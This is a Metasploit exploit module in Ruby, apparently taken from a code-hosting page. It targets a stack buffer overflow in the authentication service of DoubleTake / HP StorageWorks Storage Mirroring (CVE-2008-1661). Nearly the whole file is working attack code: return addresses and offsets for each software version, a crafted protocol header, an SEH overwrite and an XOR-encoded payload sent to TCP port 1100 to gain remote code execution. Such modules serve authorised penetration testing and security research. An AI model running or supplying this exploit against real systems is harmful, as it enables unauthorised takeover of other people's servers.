cgranleese-r7
81 lines
2.3 KiB
Ruby
81 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the authentication mechanism of
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NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
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was found by Titon of Bastard Labs.
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},
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'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
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'References' => [
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['CVE', '2008-1661' ],
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['OSVDB', '45924' ],
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],
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'Privileged' => false,
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'DefaultOptions' => {
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'EXITFUNC' => 'process',
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},
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'Payload' => {
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'Space' => 500,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' => [
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['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
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['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],
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['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2008-06-04',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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Opt::RPORT(1100)
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]
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)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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header =
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"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00" +
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
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"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
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xor = Rex::Encoding::Xor::Byte
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filler = rand_text_english(1) * (target['Offset'])
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seh = generate_seh_payload(target.ret)
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buffercoded = xor.encode(seh + payload.encoded, [0xf0].pack("C"))
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sploit = header + filler + buffercoded[0]
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sock.put(sploit)
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handler
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disconnect
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end
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end
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